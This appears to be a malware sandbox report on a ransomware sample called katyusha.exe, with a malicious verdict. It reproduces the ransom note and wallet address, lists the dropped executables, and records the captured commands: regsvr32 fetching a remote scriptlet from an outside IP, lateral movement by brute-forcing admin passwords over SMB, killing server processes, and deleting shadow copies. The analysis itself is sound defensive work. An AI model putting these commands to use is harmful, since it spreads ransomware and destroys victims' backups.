-p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00002668) Process "svchostp.exe" with commandline "\\192.168.242.107 -u -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" (UID: 00000000-00004412)3e:T57f,"=====================================HOW TO DECRYPT YOU FILES==================================== All your documents, photos, databases and other important personal files were encrypted!! Please send 0.5 bitcoins to my wallet address: 3ALmvAWLEothnMF5BjckAFaKB5S6zan9PK If you paid, send the ID and IDKEY to my email: kts2018@protonmail.com I will give you the key and tool If there is no payment within three days we will no longer support decryption If you exceed the payment time, your data will be open to the public download We support decrypting the test file. Send two small than 2 MB files to the email address: kts2018@protonmail.com Your ID:39300377 Your IDKEY: ================================================================================ S2SJHlXlUUBm2Yq7JvYgvKIO6MUUjeXbVCLIzUysaZwMa0aJcaGujsfojK4T7Jf3 jbhONRontSO4r1GLUkghfcM3fLcwl0PsduwIDGLyUp3pZvNDG7opf89OfBvQDk5v 1DkOI4ucczXDN19t43/pPvxtJCgD3gycSDG7gWjsj5LjT/wmB4yhGs3D5lwpogxj 1yx5RTuCQSoXdwUnQAn+8cw9ldwXMyyvYdZBa4Fc6rKdjmXQq2KyBKupon5+v+F/ BGj/WxfZaYifLE8CyGoNUrdnkEI+gfujfQqjlRso1UyhIEYbw2Q9d2tyn5omMdhw L4hpGgXKrkfR1w7fvWaYHQ== ================================================================================ Payment site https://www.bithumb.com/ Payment site http://www.coinone.com/ Payment site https://www.gopax.co.kr/ Payment site http://www.localbitcoins.com/ Officail Mail:kts2018@protonmail.com" (Indicator: "https://")3f:T1af2,"katyusha.exe" wrote 34096 bytes starting with PE header signature to file "C:\Windows\Temp\zkts.exe": 4d5a60000100000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000600000000e1fff0e00ff09ff21ff014cff21526571756972652057696e646f77730d0a24504500004c0104004a4400570000000000000000ff0003010b01080000ff0100 ... "katyusha.exe" wrote 8704 bytes starting with PE header signature to file "C:\Windows\Temp\ktsi.exe": 4d5a40000100000002000000ffff0000ff000000000000000a000000000000000e1fff0e00ff09ff21ff014cff2157696e3332202e4558452e0d0a2440000000504500004c0103007f6dff5b0000000000000000ff0002030b010e0000640b000068040000000000152110000010000000ff0b00000040000010000000020000 ... "zkts.exe" wrote 15360 bytes starting with PE header signature to file "C:\Windows\Temp\coli-0.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 17408 bytes starting with PE header signature to file "C:\Windows\Temp\crli-0.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 62976 bytes starting with PE header signature to file "C:\Windows\Temp\dmgd-4.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 10240 bytes starting with PE header signature to file "C:\Windows\Temp\exma-1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 26624 bytes starting with PE header signature to file "C:\Windows\Temp\libeay32.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000100100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 40960 bytes starting with PE header signature to file "C:\Windows\Temp\libxml2.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 1024 bytes starting with PE header signature to file "C:\Windows\Temp\m32.exe": 4d5a4600490000000400000000005200450000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000504500004c010300000000000000000000000000ff0003030b01070000400d000040000000000000ffff0d000010000000500d00000040000010000000020000 ... "zkts.exe" wrote 64512 bytes starting with PE header signature to file "C:\Windows\Temp\m64.exe": 4d5a40000100000002000000ffff0000ff000000000000000a000000000000000e1fff0e00ff09ff21ff014cff2157696e3634202e4558452e0d0a24400000005045000064ff0300ffffff5a0000000000000000ff0022020b020e0000ff090000ff050000000000613610000010000000000040010000000010000000020000 ... "zkts.exe" wrote 11264 bytes starting with PE header signature to file "C:\Windows\Temp\posh-0.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 8704 bytes starting with PE header signature to file "C:\Windows\Temp\ssleay32.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 61440 bytes starting with PE header signature to file "C:\Windows\Temp\svchostb.exe": 4d5a40000100000002000000ffff0000ff000000000000000a000000000000000e1fff0e00ff09ff21ff014cff2157696e3332202e4558452e0d0a2440000000504500004c010200ffffff510000000000000000ff0002030b0109000078010000ff000000000000643102000010000000ff0100000040000010000000020000 ... "zkts.exe" wrote 25600 bytes starting with PE header signature to file "C:\Windows\Temp\svchostbs.exe": 4d5a40000100000002000000ffff0000ff000000000000000a000000000000000e1fff0e00ff09ff21ff014cff2157696e3332202e4558452e0d0a2440000000504500004c010300ffffff500000000000000000ff0002030b01090000340000007a00000000000062ff00000010000000500000000040000010000000020000 ... "zkts.exe" wrote 65024 bytes starting with PE header signature to file "C:\Windows\Temp\svchostp.exe": 4d5a40000100000002000000ffff0000ff000000000000000a000000000000000e1fff0e00ff09ff21ff014cff2157696e3332202e4558452e0d0a2440000000504500004c010300ffffff540000000000000000ff0002030b010b0000ff0100005c010000000000ff2103000010000000ff0100000040000010000000020000 ... "zkts.exe" wrote 20992 bytes starting with PE header signature to file "C:\Windows\Temp\trch-1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 9216 bytes starting with PE header signature to file "C:\Windows\Temp\tucl-1.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000ff0000000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 58368 bytes starting with PE header signature to file "C:\Windows\Temp\ucl.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000000100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ... "zkts.exe" wrote 32256 bytes starting with PE header signature to file "C:\Windows\Temp\xdvl-0.dll": 4d5aff000300000004000000ffff0000ff00000000000000400000000000000000000000000000000000000000000000000000000000000000000000080100000e1fff0e00ff09ff21ff014cff21546869732070726f6772616d2063616e6e6f742062652072756e20696e20444f53206d6f64652e0d0d0a2400000000000000 ...40:T2541,Potential IP "192.168.242.107" found in string ""C:\Windows\System32\cmd.exe" /c cd /D C:\windows\temp\&svchostb.exe --TargetIp 192.168.242.107 & svchostbs.exe --OutConfig s --Ta" Potential IPs "192.168.242.107" "192.168.242.107" found in string "/c cd /D C:\windows\temp\&svchostb.exe --TargetIp 192.168.242.107 & svchostbs.exe --OutConfig s --TargetPort 445 --Protocol SMB --Architecture x64 --Function RunDLL --DllPayload katyusha.dll --TargetIp 192.168.242.107" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyus" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/k" Potential IPs "192.168.242.107" "86.106.102.1" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.1" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p 111 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/im" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 0000 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p 0000 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 1122 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p 1122 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 1234 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u administrator -p 1234 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrob" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyus" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 111 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data sc" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p 111 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data s" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IPs "192.168.242.107" "86.106.102.147" found in string ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.da" Potential IPs "192.168.242.107" "86.106.102.147" found in string "\\192.168.242.107 -u -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrobj.dll" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-3436-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-7368-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-7256-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-2348-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-8056-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-8132-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-8148-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-4064-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-7232-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-7352-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-4012-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "\\192.168.242.107\ADMIN$\PAExec-7420-pavLkOOLnU1xt5h.exe" Potential IP "192.168.242.107" found in string "--TargetIp 192.168.242.107"41:T490,"cmd.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007368) "cmd.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007856) "cmd.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00004664) "cmd.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00002728) "cmd.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00003408) "cmd.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007796) "svchostb.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007764) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00002348) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00008056) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00008132) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007232) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00004012) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007420) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00005744) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00007872) "svchostp.exe" called "CreateToolhelp32Snapshot" (UID: 00000000-00003032)42:T514,"katyusha.exe" trying to access non-existent file "C:\Windows\System32\WOW64LOG.DLL" "katyusha.exe" trying to access non-existent file "C:\IPHLPAPI.DLL" "katyusha.exe" trying to access non-existent file "C:\FLTLIB.DLL" "katyusha.exe" trying to access non-existent file "C:\_HOW_TO_DECRYPT_YOU_FILES.TXT" "katyusha.exe" trying to access non-existent file "C:\Windows\Temp\SNAMELOG" "katyusha.exe" trying to access non-existent file "C:\Windows\Temp\SPASSLOG" "katyusha.exe" trying to access non-existent file "C:\Windows\SysWOW64\RPCSS.DLL" "katyusha.exe" trying to access non-existent file "C:\WINDOWS\system32\rpcss.dll" "katyusha.exe" trying to access non-existent file "C:\CLDAPI.DLL" "katyusha.exe" trying to access non-existent file "C:\CLDAPI.dll" "katyusha.exe" trying to access non-existent file "C:\AEPIC.DLL" "katyusha.exe" trying to access non-existent file "C:\AEPIC.dll" "katyusha.exe" trying to access non-existent file "C:\BCRYPT.DLL" "katyusha.exe" trying to access non-existent file "C:\bcrypt.dll" "katyusha.exe" trying to access non-existent file "C:\PROPSYS.DLL" "katyusha.exe" trying to access non-existent file "C:\PROPSYS.dll" "katyusha.exe" trying to access non-existent file "C:\EDPUTIL.DLL" "katyusha.exe" trying to access non-existent file "C:\edputil.dll"43:T1521,"katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\ktsi.exe" " - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\System32\cmd.exe" /c cd /D C:\windows\temp\&svchostb.exe --TargetIp 192.168.242.107 & svchostbs.exe --OutConfig s --Ta" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyus" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/k" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.1" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/im" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 0000 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 1122 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u administrator -p 1234 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/ka" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data scrob" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 12345 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data " - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p chinachina203 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyus" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 111 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data sc" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 123456 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p qwerty -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p test -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data s" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p abc123 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.data" - (UID: 00000000-00003064) "katyusha.exe" called "CreateProcessW" with parameter ""C:\Windows\temp\svchostp.exe" \\192.168.242.107 -u -p 12345678 -n 10 -s regsvr32 /u /s /i:http://86.106.102.147/img/katyusha.da" - (UID: 00000000-00003064) "cmd.exe" called "CreateProcessW" with parameter "taskkill /F /IM httpd.exe" - (UID: 00000000-00006652) "cmd.exe" called "CreateProcessW" with parameter "taskkill /F /IM sqlservr.exe" - (UID: 00000000-00007652) "cmd.exe" called "CreateProcessW" with parameter "taskkill /F /IM w3wp.exe" - (UID: 00000000-00007368) "cmd.exe" called "CreateProcessW" with parameter "taskkill /F /IM fdhost.exe" - (UID: 00000000-00007856) "cmd.exe" called "CreateProcessW" with parameter "taskkill /F /IM reportingservicesservice.exe" - (UID: 00000000-00004664) "cmd.exe" called "CreateProcessW" with parameter "vssadmin delete shadows /all /quiet" - (UID: 00000000-00003408) "cmd.exe" called "CreateProcessW" with parameter "vssadmin delete shadows /all /quiet" - (UID: 00000000-00007796)44:T570,iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAD2UlEQVR42u2X21cTVxTG/b/6jlatFbkoeI1oi66FS0EEBF2QkHsgxgAWCYZwCYEQkNraSu2rLcQ++NQ+6Ru+EHKbWy74uc8MSQY6Y4i69IWz1rfO5Mxl//Z39jkzOXBgv33tZnW60ddv+6LqtzhQBLDYHPjv9Tpe/fuG9Pqz6sdOj2bPIEoO2Afx12r0k7S69hJr0X+w9lLRKh3/TWNMWtfvADCZHUjzIrIZCRlJ/Agp90ka2n0tiyFkcrsB7PLgl9T/AHL5vHxiZeUFnv/5ak9a+eMF8rmsrGg0qqlC5t9cmZDFjjUB8tsA7ME1PQuovRNGXe886o1zOGkO4ZQ1hEZnEI0DMzjjmcJZ76R87dv1dWREvuw0VQRwwbYMg+MxDM4lNA0u4pIngsveBfwwMo/m0Tlc8YVw1T+rAuA+zQH2Y0sF0OL9FS3Dv+Dagye4/pDkW0ar/zHaAku4Ob2I9mAEHXPhIkCWAJQiFJReFDQdqDIN6wNwglgE6Bh/hi7/7+gK/Ibu6ae4QcGv+cNoHg/i4pgfBt84miZ8JQCBL+sAC378gVMfIMUJRQBj8DnuzjxD01AIx2xjOGgZwreO+zgy4MHRe24c8w7g+IhTBcAVM5cK/S4XWPDGmd69AbQ++hlHzKOo6h/GIZsXh50UfPAevrs/iO+HXfLDTjy0qwDSZR1gwZuftugDpFUAVcYRJWs7BS9mTcFHXKj+yYETYzbUPrLsqAGJNiNR0F8NLPiHAfgSwCHrtuUsaw8FHxqQs64etaPGZ0Wd34yTAVNpFQjlV8EeAEpFeNhFWbtVlrOsyfLacSvqJ/pxatKIBrK0CMBzFW3jZQHUhVY96kANWV5HltcHKPhUH83nXZwJ9VS0D1QEoC602oLlkyY0TPfidPAOzs5143y4cwdAZnsFfBYH1IUmWz5lVLKe7cG5+ds4v9AJw2J7EUCkGmAFqLUBsTGBzqVSKSQSCSQT8fIA6kJrmO6jrJnl3TgX7sKFSAcuLrWjabmtCCB9YBlKIj2XAJPJBOLxOBLxTR0A1U6oLrTTs8zy27LlhsgtCn4Tl5ZbcfnJdRVASjP7ggM8FSnLPBaLYXMzpg3AC8qHwuTU4p5fxxOBiDIFvH4R8hyHdCpJgTcVgJgOQDKtOMDe7eyhlYhPlxxgPasHjksjlVbmnWW9sbEhSxcgnhLlVzK2MshKHIAskKexDI8cCVsSjb0jbZHyynlk8C6nFFlh/xcFARw5kqbgKco8QXOfVIm5oQvw1T7J2Dd6T5/5o7/xTXS/xe6C3eWG1eGG2eqEscw9N9puYf8f2X4rtPd75aQEj4uK3gAAAABJRU5ErkJggg==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790893261152,"unified_at":"2026-10-01T22:21:01.152Z","metadata":{"hashes":{"sha256":"d00ee0e6eab686424f8d383e151d22005f19adbda5b380a75669629e32fe12a6","sha1":"f0626999b7f730f9003ac1389d3060c50068da5a","md5":"7f87db33980c0099739de40d1b725500","sha512":"1bf8e63a09ee7618102982a1d8c39c2eada1e7c52452d0cadb0df9010421799171880580dd6e4d5fb371d314ee7676d438ab827ef1695bb9de95835ac7cb47f8","ssdeep":"49152:tzlhgyBIjVpPZHZlPpLPk0vglJIAc/8KYBsxdO0G7x+dP1Y+:zy9jRZlFknvzcEKY8dOD7x8NY","ssdeep_chunks":["49152:tzlhgy